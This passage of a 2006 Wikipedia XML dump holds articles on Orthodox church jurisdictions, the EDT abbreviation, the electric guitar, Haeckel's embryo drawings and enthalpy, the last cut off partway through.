* [[Bulgarian Orthodox Church]]
* [[Orthodox Church of Cyprus]]
* [[Church of Greece]]
* [[Polish Orthodox Church]]
* [[Albanian Orthodox Church]]
* [[Czech and Slovak Orthodox Church]]
* [[Orthodox Church in America]] (autocephaly not universally recognized)

=== Autonomous churches ===
* [[Orthodox Church of Mount Sinai]] (under the Patriarch of Jerusalem)
* [[Finnish Orthodox Church]] (under the Patriarch of Constantinople)
* [[Estonian Orthodox Church]] (under the Patriarch of Constantinople, autonomy not universally recognized)
* [[Japanese Orthodox Church]] (under the Patriarch of Moscow, autonomy not universally recognized)
* [[Chinese Orthodox Church]] (under the Patriarch of Moscow, autonomy not universally recognized)
* [[Ukrainian Orthodox Church]] (under the Patriarch of Moscow, autonomy not universally recognized) 
* [[Metropolis of Western Europe]] (under the Patriarch of Moscow, autonomy not universally recognized)
* [[Metropolitan Church of Bessarabia]] (comprising 23% of Moldovan affiliates or 2&amp;nbsp;million in 2004; stayed under the Patriarchate of Romania after [[Imperial Russia]] annexed [[Bessarabia]] in 1812)
* [[Moldovan Metropolitan Church]] (comprising 60% of Moldovan affiliates; under the Patriarchate of Moscow)
* [[Orthodox Ohrid Archbishopric]] (under the [[Serb Orthodox|Patriarch of Belgrade]], autonomy not universally recognized)

=== Churches with ambiguous status ===
*[[Russian Orthodox Church Outside Russia]] (In communion with some but not all of the above, especially not the Russian Orthodox Church, though rapprochement is currently underway).

=== Churches in resistance ===
These Churches are resistant to what they perceive as the errors of Modernism and Ecumenism in mainstream Orthodoxy, but they do not consider themselves schismatic; they do refrain from concelebration of the [[Divine Liturgy]] with the mainline Orthodox Churches while they remain fully within the canonical boundaries of the Church, i.e. maintaining Orthodox belief, legitimate [[episcopal succession]], and communities with historical continuity. They will commune the faithful from all the canonical jurisdictions and are recognized by and in communion with the [[Russian Orthodox Church Outside Russia]].
* [http://www.synodinresistance.gr/indexen.htm The Orthodox Church of Greece (Holy Synod in Resistance)]    
* The Old Calendar Romanian Orthodox Church   
* The Old Calendar Orthodox Church of Bulgaria

=== Churches that have voluntarily &quot;walled themselves off&quot; ===
These Churches do not practice [[Full Communion|Communion]] with any other Orthodox jurisdictions nor do they tend to recognize each other.
* [[Belarusian Autocephalous Orthodox Church]]
* [[Church of the Genuine Orthodox Christians of Greece]]
* [[Old Believers]]
* [[Ukrainian Autocephalous Orthodox Church]]

=== Churches that are unrecognized by others ===

The following Churches recognize all other mainstream Churches, but are not recognized by (m)any of them due to various disputes:

* [[Macedonian Orthodox Church]]
* [[Ukrainian Orthodox Church - Kiev Patriarchy]]

=== Churches self-styled as Orthodox yet unrecognized as such ===
* [[Croatian Orthodox Church]]
* [[Montenegrin Orthodox Church]]
* [[Karamanli Turkish Orthodox Church]]

== See also ==
* [[Eastern Rite]]

== External links ==
* [http://www.orthodoxwiki.org/List_of_autocephalous_and_autonomous_Churches Autocephalous and Autonomous Orthodox Churches], an [[OrthodoxWiki]] article
* http://www.oca.org/OCworldindex.asp?SID=2


{{Eastern Christianity}}
[[Category:Eastern Orthodoxy]]
[[Category:Christian group structuring]]

[[de:Liste der orthodoxen Kirchen]]
[[fr:Églises des sept conciles]]</text>
    </revision>
  </page>
  <page>
    <title>EDT</title>
    <id>10271</id>
    <revision>
      <id>40674677</id>
      <timestamp>2006-02-22T05:27:29Z</timestamp>
      <contributor>
        <ip>216.230.140.32</ip>
      </contributor>
      <text xml:space="preserve">'''EDT''' can stand for:
* [[Eastern Daylight Time]]
* [[Eau de toilette]]
* [[space tether|electrodynamic tether]].
* [[EDT text editor]]
* [[EDT Ecosystem Diagnosis and Treatment]].
* [[EDT Escalating Density Training]].
{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Electric guitar</title>
    <id>10272</id>
    <revision>
      <id>42091767</id>
      <timestamp>2006-03-03T19:49:14Z</timestamp>
      <contributor>
        <username>Tailpig</username>
        <id>312490</id>
      </contributor>
      <comment>Revert to revision 42064095 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">An '''electric guitar''' is a  type of [[guitar]] with a solid or semi-solid body that utilizes  [[Electronics|electronic]] &quot;[[pickup (music)|pickups]]&quot; to convert the vibration of the steel-cored strings into electrical current. The signal may be electrically altered to achieve various tonal effects prior to being fed into an [[instrument amplifier|amplifier]], which produces the final sound.
In contrast to the [[acoustic guitar]] and most other acoustic [[string instrument]]s, the solid-body electric guitar does not rely as extensively on the acoustic properties of its construction to amplify the sound produced by the vibrating strings; as such, the electric guitar does not need to be naturally loud, and its body can be virtually any shape. Since all the sound produced by the amplifier comes from string vibrations detected by the electric pickups, an electric guitar that produces minimal acoustic sound may have maximal sustain, since less of the energy from the string [[oscillation]]s is radiated as sound energy. For this reason, electric versions of almost all other similar string instruments have also been produced.

[[Image:Electricguitars.jpg|thumb|right|150px|Left: Rosa Hurricane, a [[Heavy metal music|heavy metal]]-style solid-body guitar.&lt;br&gt;Right: [[Maton]] Freshman, a hollow-body guitar.]]

The electric guitar is used extensively in many popular styles of music, including [[blues]], [[rock and roll]], [[country music]], [[pop music]], [[jazz]], [[rap]] and even contemporary classical music.

== History ==
The popularity of the electric guitar began with the [[big band]] era because amplified instruments became necessary to compete with the loud volumes of the large brass sections common to jazz orchestras of the thirties and forties. Initially, electric guitars consisted primarily of hollow &quot;archtop&quot; acoustic guitar bodies to which electromagnetic transducers had been attached.

Electric guitars were originally designed by an assortment of luthiers, electronics enthusiasts, and instrument manufacturers, in varying combinations. Some of the earliest electric guitars used [[Tungsten (music)|tungsten]] pickups and were manufactured in the [[1930s]] by [[Rickenbacker]]. 

=== Fender ===

In the 1930s, steel guitar and instrument amplifier maker [[Leo Fender]], through his [[Fender|eponymous company]], designed the first commercially successful solid-body electric guitar, which was initially named the Broadcaster. However, the Gretsch company had a drumset by the same name, (Broadkaster) so Fender was forced to change the name, choosing ''[[Telecaster]]''.  Features of the Telecaster included an ash body; a maple 25½[[inch|&quot;]] scale, 21-fret neck attached to the body with four-bolts reinforced by a steel neckplate; two single-coil, 6-pole pickups (bridge and neck positions), with tone and volume controls, pickup selector switch, and an output jack mounted on a control plate on the body top.  A black bakelite pickguard concealed body routings for pickups and wiring.  The bolt-on neck was consistent with Leo Fender's belief that the instrument design should be modular to allow cost-effective and consistent manufacture and assembly, as well as simple repair or replacement.  A variant of the Telecaster, the Esquire, had only the bridge pickup.  Due to the Broadcaster trademark issue, the earliest Telecasters were delivered with  headstock decals with the Fender logo but no model identificaton, and are commonly referred to by collectors as &quot;Nocasters&quot;. In [[1954]] Fender introduced the ''[[Stratocaster]]'', or &quot;Strat&quot;, which was positioned as a deluxe model and offered various product improvements and innovations over the Telecaster.  These innovations included an ash or alder double-cutaway body design for balance, a bridge assembly with an integrated [[vibrato]] mechanism (called a &quot;[[tremolo]]&quot; by Fender), three single-coil pickups, and body comfort contours.  The Stratocaster has become the most-recognizable and most copied electric guitar design ever. [[Pink Floyd]]'s guitarist, [[David Gilmour]], owns one of the first Fender [[Stratocaster]]s ever made. Leo Fender is also credited with developing the first commercially-successful [[bass guitar|electric bass]] called the Fender Precision Bass, introduced in [[1951]].

The version of the instrument that is most well known today is the &quot;solid body&quot; electric guitar: a guitar made of solid wood, without resonating airspaces within it. One of the first solid body electric guitars was built by musician and inventor Les Paul in the early [[1940s]], working after hours in the Epiphone Guitar factory. His &quot;log&quot; guitar, so called because it consisted of a simple 4x4 wood post with a neck attached to it, two spanish hollow body halves attached to the sides, and homemade pickups and hardware. It was generally considered to be the first of its kind until recently, when research through old trade publications and with surviving luthiers and their families revealed many other             prototypes, and even limited production models, that fit our modern conception of an 'electric guitar.' At least one company, Audiovox, built and may have offered an electric solid-body as early as the mid-1930s. [[Rickenbacker|Rickenbacher]] (later spelled ''Rickenbacker'', pronounced ''Rickenbocker'') offered a solid Bakelite electric guitar beginning in [[1935]] that, when tested by vintage guitar researcher John Teagle, reportedly sounded quite modern and aggressive.

=== Gibson ===

[[Gibson_Guitar_Corporation|Gibson]], like many guitar manufacturers, had long offered semi-acoustic guitars with pickups, and previously rejected [[Les Paul]] and his &quot;log&quot; electric in the 1940s.  In apparent response to the Telecaster, Gibson introduced the first [[Gibson Les Paul]] solidbody guitar in [[1952]], designed at least in part with input from Les Paul.  Features of the Les Paul included a mahogany body with a carved maple top (much like a [[violin]]) and contrasting edge binding, two single-coil &quot;soapbar&quot; pickups, a 24¾&quot; scale mahogany neck with a more traditional glued-in &quot;set&quot; neck joint, binding on the edges of the fretboard, and a tilt-back headstock with three tuners to a side.  The earliest models had a combination bridge and trapeze-tailpiece design that was deemed unsuitable by Les Paul himself.  Gibson then developed the Tune-o-Matic bridge and separate stop tailpiece, an adjustable non-vibrato design that has endured.  By [[1957]], Gibson had made the final major change to the Les Paul as we know it today - the humbucking pickup, or humbucker.  The humbucker, invented by Seth Lover, was a dual-coil pickup which produced a distinctive tone but also offered the advantage of elimination of the 60-cycle hum associated with single-coil pickups.

The more traditionally designed and style Gibson solid-body instruments were contrast to Leo Fender's modular designs, with the most notable differentiator being the method of neck attachment and the scale of the neck (Gibson-24.75&quot;, Fender-25.5&quot;).  Each design has it own merits.  To this day, the basic design nearly every solid-body electric guitar available today echoes the features of early [[1950s]] originals - the Fender Telecaster &amp; Stratocaster, and the Gibson Les Paul.

== Types of electric guitar ==

Most electric guitars are fitted with six strings and are usually tuned from low to high E - A - D - G - B - E, the same as an acoustic guitar, although many guitarists occasionally tune their instruments in a different way, including &quot;[[drop D|dropped D]]&quot;, various transposed and open chord tunings, usually to simplify fretting of some chord inversions in a certain key. Seven-string models exist, most of which add a low B string below the E. Seven-string guitars were popularized by Steve Vai and others in the [[1980s|'80s]], and have been recently revived by some [[nu metal]] bands. Jazz guitarists using a seven-string include veteran jazzman Bucky Pizzarelli and his popular son John Pizzarelli. There are even eight-string electric guitars, such as the [[Novax]] played by [[Charlie Hunter]], but they are extremely unusual. The largest manufacturer of 8- to 14-strings is Warr Guitars, and their models are used by [[Trey Gunn]] and [[King Crimson]]. 

[[Jimmy Page]], an innovator of [[hard rock]], used and made famous custom Gibson electric guitars with two necks - essentially two instruments in one; in his case, a 6-string and 12-string guitar, to replicate his use of two different guitars when playing live &quot;[[Stairway to Heaven]]&quot;. These are commonly known as [[double-neck guitar|double-neck]] (or, less commonly, &quot;twin-neck&quot;) guitars. The purpose is to obtain different ranges of sound from each instrument; typical combinations are six-string and four-string (guitar and bass guitar) or, more commonly, a six-string and [[twelve-string guitar|twelve-string]]. Such a combination may come handy when playing [[ballad]]s live, where the 12-string gives a mellower sound as accompaniment, while the 6-string may be used for a guitar solo. English [[progressive rock]] bands such as [[Genesis (band)|Genesis]] took this trend to its zenith using custom made instruments produced by the [[Shergold]] company. [[Rick Nielsen]], guitarist for [[Cheap Trick]], uses a variety of custom guitars, many of which have five necks - more for comic effect than for actual usefulness. Guitar virtuoso [[Steve Vai]] occasionally uses a triple-neck guitar; one neck is twelve string, one is six string, and the third is a fretless six string.

[[Image:Stratocaster_detail_DSC06937.jpg|thumb|right|Detail of a Squier-made Fender Stratocaster. Note the tremolo arm, the 3 single-coil pickups, the volume and tone knobs.]]
Some electric guitars have a [[tremolo arm]] or ''whammy bar'', which is a lever attached to the bridge that can slacken or tighten the strings temporarily, changing the pitch or creating a [[vibrato]]. Tremolo properly refers to a quick variation of volume, not pitch; however, the misnaming (probably originating with Leo Fender printing &quot;Synchronized Tremolo&quot; right on the headstock of his original 1954 Stratocaster) is probably too established to change. [[Eddie Van Halen]] often uses this feature to embellish his playing, as heard in [[Van Halen]]'s &quot;Eruption&quot;. Early tremolo systems tended to cause the guitar to go out of tune with extended use; an important innovator in this field was [[Floyd Rose]], who introduced one of the first tremolos which allowed the guitar to stay in tune, even after heavy use.

== Pickups ==

Electric guitars are not usually amplified by using a microphone, but with special pickups that sense the movement of strings. Such pickups tend to also pick up the ambient electrical noises of the room, the so-called &quot;hum&quot;, with a strong 50- or 60-[[Hertz|Hz]] component depending on the locale. Hum is annoying, especially when playing with distortion, so &quot;humbucker&quot; pickups were invented to counter this. Normal pickups are single-coil; humbuckers are essentially like twin microphones arranged in such a way that electrical noise cancels itself. A similar effect may be achieved using a guitar with multiple single coil pickups with an appropriate selection of dual pickups. (See main articles on [[pickup (music)|pickup]]s and [[humbucker]]s.)
Another instrument, the pedal steel guitar, does not look like a guitar at all, but resembles a small rectangular table with one or more sets of strings on top. Country musician [[Junior Brown]] uses a custom-built instrument of his invention, the [[guit-steel]], which has one neck that is a steel guitar, and one standard electric guitar neck.

== The physical principle ==

The physics of electric guitars and other electric [[string instrument]]s is fairly simple, since they are based on induced currents (see the [[electromagnetism]] article for more details).

[[Magnet]]s are located under each string, which make the strings behave as magnets themselves. When a string is played, it oscillates at a certain frequency, causing the magnetic field it creates to oscillate with it. [[Solenoid]]s (electromagnetic coils) are wrapped around each magnet, giving a periodic induced current (at the same frequency) [http://www.europhysicsnews.com/full/10/article2/article2.html].

== Electric guitar sound and effects ==
[[Image:Godin_LG-Squier_Strat.jpg|thumb|right|Both the North America-built Godin LG (left) and the Fender Stratocaster (right - an entry-level, Korean-made [[Squier]] model is shown) are solidbody electric guitars, but they differ significantly in design, including scale length, neck and body woods, and pickup type.]]

An acoustic guitar's sound is largely dependent on the vibration of the guitar's body and the air within it; the sound of an electric guitar is largely dependent on a magnetically induced electrical signal, generated by the vibration of metal strings near sensitive pickups.  The signal is then shaped on its path to the amplifier. By the late [[1960s]], it became common practice to exploit this dependence to alter the sound of the instrument. The most dramatic innovation was the generation of [[distortion]] by increasing the gain, or volume, of the [[Pre amplifier|preamplifier]] in order to clip the electronic signal. This form of distortion generates [[The Mathematics of Western music|harmonics]], particularly in even multiples of the input frequency, which are considered pleasing to the ear.

Beginning in the [[1960s]], the [[timbre|tonal palette]] of the electric guitar was further modified by introducing an [[Electric Guitar/effects unit|effects box]] in its signal path. Traditionally built in a small metal chassis with an on/off foot switch, such &quot;[[stomp box|stomp boxes]]&quot; have become as much a part of the instrument for many electric guitarists as the electric guitar itself. Typical effects include [[chorus effect|stereo chorus]], [[fuzz_(electric_guitar)|fuzz]], [[wah-wah]] and [[flanging]], [[compression_(electric_guitar)|compression/sustain]], [[delay_(electric_guitar)|delay]], [[reverb]], and [[phaser_(electric_guitar)|phase shift]]. Some important innovators of this aspect of the electric guitar include guitarists [[Link Wray]], [[Jimi Hendrix]], [[Brian May]], [[Eddie Van Halen]], [[Steve Jones (rock musician)|Steve Jones]], [[Jerry Garcia]],  [[David Gilmour]], [[Yngwie J. Malmsteen]], [[Thurston Moore]], [[Daniel Ash]], and [[Tom Morello]], and technicians such as [[Roger Mayer]].

By the [[1980s]], and [[1990s]], digital and [http://guitar-sound.info software] effects became capable of replicating the analog effects used in the past. These new digital effects attempted to model the sound produced by analog effects and tube amps, to varying degrees of quality. There are many free to use guitar effects software for personal computer downloadable from the Internet. Today anyone can transform his PC with sound card into a digital guitar effects processor. Although there are some obvious advantages to digital and software effects, many guitarists still use analog effects for their real or perceived quality over their digital counterparts.

Some innovations have been made recently in the design of the electric guitar. In [[2002]], Gibson announced the first digital guitar, which performs analog-to-digital conversion internally. The resulting digital signal is delivered over a standard [[Ethernet]] cable, eliminating cable-induced line noise. The guitar also provides independent signal processing for each individual string.
Also, in 2003 [[instrument amplifier|amp]] maker [[Line 6]] released the [[Variax]] guitar. It differs in some fundamental ways from conventional solid-body electrics. For example it uses [[Pickup_%28music%29#Piezoelectric_pickups|piezoelectric pickup]]s instead of the conventional electro-magnetic ones, and has an onboard computer capable of modifying the sound of the guitar to realistically model many popular guitars.

== Uses ==
The electric guitar can be played either solo or with other instruments.  It has been used in numerous genres of popular music, as well as (much less frequently) classical music.

===Rock and jazz===

In rock music, the electric guitar is generally used in conjunction with [[electric bass|electric bass guitar]] and [[drum set]].  When two electric guitars are used, one generally plays the role of [[Lead guitar|&quot;lead&quot; guitar]] and the other is the [[Rhythm guitar|&quot;rhythm&quot; guitar]].

=== Contemporary classical music ===
While the [[classical (nylon string) guitar|classical guitar]] had historically been the only variety of guitar favored by classical composers, in the 1950s a few contemporary classical composers began to use the electric guitar in their compositions.  Examples of such works include [[Karlheinz Stockhausen]]'s ''Gruppen'' (1955-1957); [[Morton Feldman]]'s ''The Possibility of a New Work for Electric Guitar'' (1966); [[George Crumb]]'s ''Songs, Drones, and Refrains of Death'' (1968); [[Hans Werner Henze]]'s ''Versuch über Schweine'' (1968); and [[Michael Tippett]]'s ''The Knot Garden'' (1966-70).

In the 1980s and 1990s, a growing number of composers (many of them composer-performers who had grown up playing the instrument in rock bands) began writing for the instrument.  These include [[Steven Mackey]], [[Lois V Vierk]], [[Tim Brady]], [[John Fitz Rogers]], [[Tristan Murail]], and [[Yngwie Malmsteen]] with his [[Concerto Suite for Electric Guitar and Orchestra]].  The American composers [[Glenn Branca]] and [[Rhys Chatham]] have written &quot;symphonic&quot; works for large ensembles of electric guitars, in some cases numbering up to 100 players. Still, like many electric and electronic instruments, the electric guitar remains primarily associated with rock and jazz music, rather than with classical compositions and performances.

==Common Brands==
*[[Fender]]
*[[Gibson_Guitar_Corporation|Gibson]]
*[[Ibanez]]
*[[Schecter]]
*[[Jackson Guitars|Jackson]]
*[[ESP Guitars|ESP]]
*[[B.C. Rich]]
*[[Dean Guitars|Dean]]
*[[PRS Guitars|PRS]]
*[[Yamaha Corporation|Yamaha]]
*[[Washburn Guitars|Washburn]]
*[[Peavey Guitars|Peavey]]
*[[Gretsch]]

== See also ==

*[[Guitar/synthesizer]]

==External links==
* General
**[http://www.wikiguitar.net Wiki Guitar] Wiki based Guitar Resource with tablature archive, lessons, articles, and resources.
**[http://www.axetopia.com/topics/electric_guitar.html Electric Guitar] - related resources at Axetopia
**[http://www.guitarz-for-ever.com/the-revolution-of-electric-guitars.html The Revolution of the Electric Guitar] -The Revolution of the Electric Guitar

* Music
**[http://invention.smithsonian.org/centerpieces/guitars/ Lemelson Center] - has an interactive history of the electric guitar
**[http://www.newmusicbox.org/news.nmbx?id=00400 NewMusicBox.org: Composers Toolbox: Composing for the Electric Guitar] by Nick Didkovsky © 2004
**[http://www.guitarfx.info Digital FX] - electric guitar digital/PC effects how-to's and reviews
**[http://entertainment.howstuffworks.com/electric-guitar.htm HowStuffWorks] - has a thorough article about how electric guitars work
**[http://www.guitar-poll.com/ Guitar-Poll]
**[http://www.penmachine.com/musicpages/cheapguitar2005.html Buying a good, cheap electric guitar] - one player surveys over 20 different inexpensive guitars to find one to buy.
**[http://guitar-sound.info Creating professional guitar tone] - article about guitar effects processing at PC based home recording studio
**[http://www.penmachine.com/musicpages/guitartone.html Learn about guitar tone] - a primer on electric guitar sound

* Tabs &amp; Chords
**[http://www.guitar-tablature-guide.com Guitar Tablature Guide]

* Lessons
**[http://www.musicinstructionbooks.com/index.php Music Instruction] - Guitar instructional books, dvd's, songbooks and videos.
**[http://www.electric-guitar.co.uk Electric-Guitar.co.uk] Electric guitar lessons for all abilities and chord dictionary.
**[http://www.ilearnmusic.com/index.php?option=com_content&amp;task=category&amp;sectionid=6&amp;id=73&amp;Itemid=58 Free Guitar Lessons]    --Beginner guitar lessons for free -- including tablature to the Beatles, Led Zeppelin, and other classic rock songs, chords, and more.
**[http://www.guitarlessonfeedback.com Guitar Lesson Feedback] Guitar lesson news and reviews
**[http://www.guitargearheads.com GuitarGearHeads] - Electric guitar and effects how-to's and reviews
**[http://www.guitar-players-toolbox.com/ Guitar Players Toolbox] Practical guitar playing tips, tools, and ideas.

[[Category:Amplified instruments]]
[[Category:Guitars]]

[[bg:Електрическа китара]]
[[ca:Guitarra elèctrica]]
[[cs:Elektrická kytara]]
[[de:E-Gitarre]]
[[es:Guitarra eléctrica]]
[[fr:Guitare électrique]]
[[he:גיטרה חשמלית]]
[[id:Gitar listrik]]
[[it:Chitarra elettrica]]
[[ja:エレクトリックギター]]
[[ko:전기 기타]]
[[lt:Elektrinė gitara]]
[[lv:Elektriskā ģitāra]]
[[hu:Elektromos gitár]]
[[mk:Електрична гитара]]
[[nl:Elektrische gitaar]]
[[nn:Elektrisk gitar]]
[[pl:Gitara elektryczna]]
[[pt:Guitarra elétrica]]
[[sk:Elektrická gitara]]
[[sv:Elgitarr]]
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[[tr:Elektro gitar]]
[[zh:电吉他]]
[[ru:Электрогитара]]
''Italic text''</text>
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  </page>
  <page>
    <title>Embryo drawings</title>
    <id>10273</id>
    <revision>
      <id>39800563</id>
      <timestamp>2006-02-15T23:22:30Z</timestamp>
      <contributor>
        <username>PeterPerfect</username>
        <id>871366</id>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">{{POV}}
{{mergeto|Ernst Haeckel}}

The term '''embryo drawings''' refers to illustrations of [[embryos]]. In particular, the term often refers to a specific series of embryo drawings produced by [[Ernst Haeckel]], with the aim of comparing embryos of different [[classes]]. These drawings are discussed herein.

==History==

[[Image:Haeckel drawings.jpg|thumb|300px|[[Ernst Haeckel]]'s [[embryo drawings]].]]
In [[1866]], [[Ernst Haeckel]] claimed that members of all [[vertebrate]] classes pass through identical embryonic stages. To illustrate this, he published drawings of embryos of various species (namely, human, rabbit, calf, hog, chick, tortoise, salamander, and fish), suggesting that the early stages of embryonic development are nearly identical for all of these classes. Haeckel argued that this was evidence for the theory of [[common descent]] in discussions of [[biology|biological]] [[evolution]], and also used his drawings to propound his now-discredited [[recapitulation theory]].

Recapitulation theory suggests that each successive stage in the development of an individual represents one of the adult forms that appeared in its evolutionary history. 

Several studies in the past century have shown that while embryos of different classes certainly show similarities in their early stages, there are also differences. It has been suggested that Haeckel deliberately &quot;fudged&quot; his drawings in order to de-emphasize the differences, thus providing better evidence for his arguments. It has also been suggested that Haeckel simply made a mistake.

Some [[creationists]] have used biologists' rejection of the literal recapitulation theory as evidence against evolution. However, biologists and evolutionists generally hold that while recapitulation theory is discredited, this does not affect the credibility of the biological evolution theory. This is because the former is based upon the latter, therefore evidence against the former does not necessarily have any bearing on the latter. While there are accepted differences in embryonal stages across classes, there are also many similarities, which have been used as evidence in support of common ancestry. It is generally accepted that species with a common ancestor pass through similar, but not identical, stages in their embryonal development (see [[ontogeny and phylogeny]]).

===Place in textbooks===
Haeckel's drawings have been reproduced in a wide range of textbooks. In [[2000]], [[Harvard University]] professor [[Stephen Jay Gould]] commented on the continued use of Haeckel's embryo drawings in textbooks. He wrote: &quot;We do, I think, have the right to be both astonished and ashamed by the century of mindless recycling that has led to the persistence of these drawings in a large number, if not a majority, of modern textbooks.&quot; 

Modern textbooks usually contain photographs to show the similarities in embryo development among related species, and these similarities, such as [[gill]]-like structures, were first seen as evidence of the common ancestry of humans and fish. However, it has since been proven that these folds of skin are not gills. They grow into  bones in the ear and glands in the throat.

==See also==
*[[Ontogeny and phylogeny]]
*[[Recapitulation theory]]

==References==
* Haeckel, E. 1899. ''Riddle of the Universe at the Close of the Nineteenth Century''. Cited at http://www.ucmp.berkeley.edu/history/haeckel.html.
* Division of Biology and Medicine, Brown University, ''Evolution and Development I: Size and shape'', http://biomed.brown.edu/Courses/BIO48/30.S&amp;S.HTML
*  Myers, P.Z. 2003.  ''Wells and Haeckel's Embryos''.  http://www.talkorigins.org/faqs/wells/haeckel.html 
*Richardson, M. K. 1995. Heterochrony and the phylotypic period. Dev. Biol. 172: 412 - 421.
[[Category:Evolutionary biology]]</text>
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  <page>
    <title>Enthalpy</title>
    <id>10274</id>
    <revision>
      <id>41970424</id>
      <timestamp>2006-03-02T23:26:22Z</timestamp>
      <contributor>
        <username>Bomac</username>
        <id>466515</id>
      </contributor>
      <comment>+mk</comment>
      <text xml:space="preserve">{{Thermodynamic potentials}}

'''Enthalpy''' (symbolized ''H'', also called '''heat content''') is the sum of the [[internal energy]] of matter and the product of its volume and pressure. ''Etymology:'' '''enthalpy''' [http://www.m-w.com/dictionary/enthalpy] is composed of the prefix ''en''  [http://www.etymonline.com/index.php?l=e&amp;p=5] [http://dictionary.reference.com/search?q=en-] , plus the Greek verb ''thalpein'', meaning ''to heat''. 

Enthalpy is a quantifiable [[state function]], and the total enthalpy of a system cannot be measured directly;  the ''enthalpy change'' of a [[system (thermodynamics)|system]] is measured instead.  Enthalpy is a [[thermodynamic potential]], and is useful particularly for nearly-constant [[pressure]] processes, where any energy input to the system must go into [[internal energy]] or the [[mechanical work]] of expanding the system. The change in enthalpy of a system is nearly singularly meaningful for systems at constant pressure, when the change in enthalpy is equivalent to heat. Otherwise, there is no easily-interpreted meaning for this state function. Thus, change in enthalpy can only properly be stated as heat of the reaction for reactions performed at constant pressure. For a simple system, with a constant number of particles, '''the difference in enthalpy is the maximum amount of thermal energy derivable from a thermodynamic process in which the pressure is held constant.'''

Enthalpy is defined by the following equation:

:&lt;math&gt;H = U + PV \,&lt;/math&gt;

where (all units given in [[SI]])

*''H'' is the enthalpy, ([[joule]])
*''U'' is the [[internal energy]], (joule)
*''P'' is the [[pressure]] of the system, ([[pascal]])
*''V'' is the [[volume]], ([[cubic metre]])

==Equations==

From the [[first law of thermodynamics]]:

: &lt;math&gt;dU = \delta Q - \delta W\,&lt;/math&gt;

where &lt;math&gt;U&lt;/math&gt; is the internal energy, &lt;math&gt;\delta Q=TdS&lt;/math&gt; is the energy added by heating during a reversible process and &lt;math&gt;\delta W=PdV&lt;/math&gt; is the work done by the system in a reversible process. Differentiating the expression for ''H''&amp;nbsp; we have:

:&lt;math&gt;dH = dU + (PdV+VdP)\,&lt;/math&gt;
:&lt;math&gt;= (TdS - PdV) + PdV+VdP\,&lt;/math&gt;
:&lt;math&gt;= TdS+VdP\,&lt;/math&gt;

For a process that is not reversible, the [[entropy]] will be smaller than its equilibrium value so we may say that, in general, 

:&lt;math&gt;dH \le TdS+VdP\,&lt;/math&gt;

It is seen that, if a thermodynamic process is isobaric (i.e., occurs at constant pressure), then ''dP = 0''&amp;nbsp; and thus

:&lt;math&gt;dH \le \delta Q\,&lt;/math&gt;

The difference in enthalpy is the maximum thermal energy attainable from the system in an isobaric process. This explains why it is sometimes called the '''heat content'''. That is, the integral of ''dH''&amp;nbsp; over any isobar in state space is the maximum thermal energy attainable from the system.

If, in addition, the entropy is held constant as well, the above equation becomes:

:&lt;math&gt;dH \le 0\,&lt;/math&gt;

with the equality holding at equilibrium. It is seen that the enthalpy for a general system will continuously increase to its minimum value, which it maintains at equilbrium.

In a more general form, the first law describes the internal energy with additional terms involving the [[chemical potential]] and the number of particles of various types. The differential statement for ''dH''&amp;nbsp; is  then:

:&lt;math&gt;dH \le TdS+VdP + \sum_i \mu_i dN_i\,&lt;/math&gt;

where &lt;math&gt;\mu_i&lt;/math&gt; is the chemical potential for an i-type particle, and &lt;math&gt;N_i&lt;/math&gt; is the number of such particles. It is seen that, not only must the ''Vdp''&amp;nbsp; term be set to zero by requiring the pressures of the initial and final states to be the same, but the  &lt;math&gt;\mu_i dN_i&lt;/math&gt; terms must be zero as well, by requiring that the particle numbers remain unchanged. Any further generalization will add even more terms whose extensive differential term must be set to zero in order for the interpretation of the enthalpy to hold.

==Applications==

===Heats of reaction===

The total enthalpy of a system cannot be measured directly;  the ''enthalpy change'' of a [[system (thermodynamics)|system]] is measured instead. Enthalpy change is defined by the following equation:

:&lt;math&gt;\Delta H = H_{final} - H_{initial} \,&lt;/math&gt;

where

:''&amp;Delta;H''&amp;nbsp; is the ''enthalpy change''

:''H&lt;sub&gt;final&lt;/sub&gt;''&amp;nbsp; is the final enthalpy of the system, measured in joules. In a chemical reaction, ''H&lt;sub&gt;final&lt;/sub&gt;''&amp;nbsp; is the enthalpy of the products.

:''H&lt;sub&gt;initial&lt;/sub&gt;''&amp;nbsp; is the initial enthalpy of the system, measured in joules. In a chemical reaction, ''H&lt;sub&gt;initial&lt;/sub&gt;''&amp;nbsp; is the enthalpy of the reactants.

For an [[exothermic reaction|exothermic]] [[chemical reaction|reaction]] at constant [[pressure]], the system's change in enthalpy is equal to the energy released in the reaction, including the energy retained in the system and lost through expansion against its surroundings.  In a similar manner, for an [[endothermic]] reaction, the system's change in enthalpy is equal to the energy ''absorbed'' in the reaction, including the energy ''lost by'' the system and ''gained'' from compression from its surroundings.  A relatively easy way to determine whether or not a reaction is exothermic or endothermic is to determine the sign of ''&amp;Delta;H''&amp;nbsp;.  If ''&amp;Delta;H''&amp;nbsp; is positive, the reaction is endothermic, that is heat is absorbed by the system due to the products of the reaction having a greater enthlapy than the reactants.  The product of an endothermic reaction will be cold to the touch.  On the other hand if ''&amp;Delta;H''&amp;nbsp; is negative, the reaction is exothermic, that is the overall decrease in enthalpy is achieved by the generation of heat.  The product of an exothermic reaction will be warm to the touch.

===Open systems===

[[Image:First law open system.jpg|350px|thumb|right|A [[First law of thermodynamics|first law]] energy balance applied to an open system equates changes in the enthalpy flowing through the system to heat added and shaft work performed.]]

[[Open system (system theory)|Open system]]s provide additional possibilities for performing work&amp;mdash;by rotating a [[steam turbine]] for example.  This &quot;shaft work&quot; is separate from work done on the fluid itself (called PV work):

:&lt;math&gt; \delta W = dW_{PV} + \delta W_{shaft} = d(PV) + \delta W_{shaft}\, &lt;/math&gt;

The incorporation of the ''PV'' term into enthalpy is very useful for these systems.  From the first law:

: &lt;math&gt;\frac{dU}{dt} = \frac{\delta Q}{dt} - \frac{d(PV)}{dt} - \frac{\delta W_{shaft}}{dt}\,&lt;/math&gt;

and the definition of enthalpy:

: &lt;math&gt;dH = dU + d(PV)\,&lt;/math&gt;

we obtain a version of the first law for shaft work in open systems with no chemical reaction:

: &lt;math&gt;\frac{dH}{dt} = \frac{\delta Q}{dt} - \frac{\delta W_{shaft}}{dt}\,&lt;/math&gt;

This expression, like the first law expressed in terms of ''U'', is not limited to reversible processes or any assumptions about the thermodynamic path taken by the process.

==Standard enthalpy==

